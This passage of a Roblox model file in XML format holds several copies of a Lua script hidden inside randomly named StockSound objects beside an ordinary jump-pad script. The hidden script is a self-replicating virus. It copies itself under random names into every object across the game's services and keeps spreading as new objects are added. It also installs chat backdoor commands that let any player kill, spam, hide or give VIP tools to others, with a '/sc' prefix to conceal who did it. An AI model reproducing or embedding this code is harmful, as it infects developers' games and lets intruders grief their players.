if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX384">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">24</int>
						<CoordinateFrame name="CFrame">
							<X>-22</X>
							<Y>7</Y>
							<Z>118.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>6</X>
							<Y>1.20000005</Y>
							<Z>19</Z>
						</Vector3>
					</Properties>
					<Item class="Script" referent="RBX385">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">local v = 200
function onTouched(part) -- when the brick gets touched
	if part.Parent ~= nil then -- if it&apos;s human
		local h = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
			if h~=nil then 
				
h.Parent.Torso.Velocity=Vector3.new(0,v,0) -- shoot your humanoid in the air at v speed
wait(0.5) -- wait this long						
			end
	end
end
script.Parent.Touched:connect(onTouched)

</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX386">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">xhkmtkhdd</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX387">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">4y3arv7k</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX388">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">6n0hb</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX389">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">mny9i6m</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
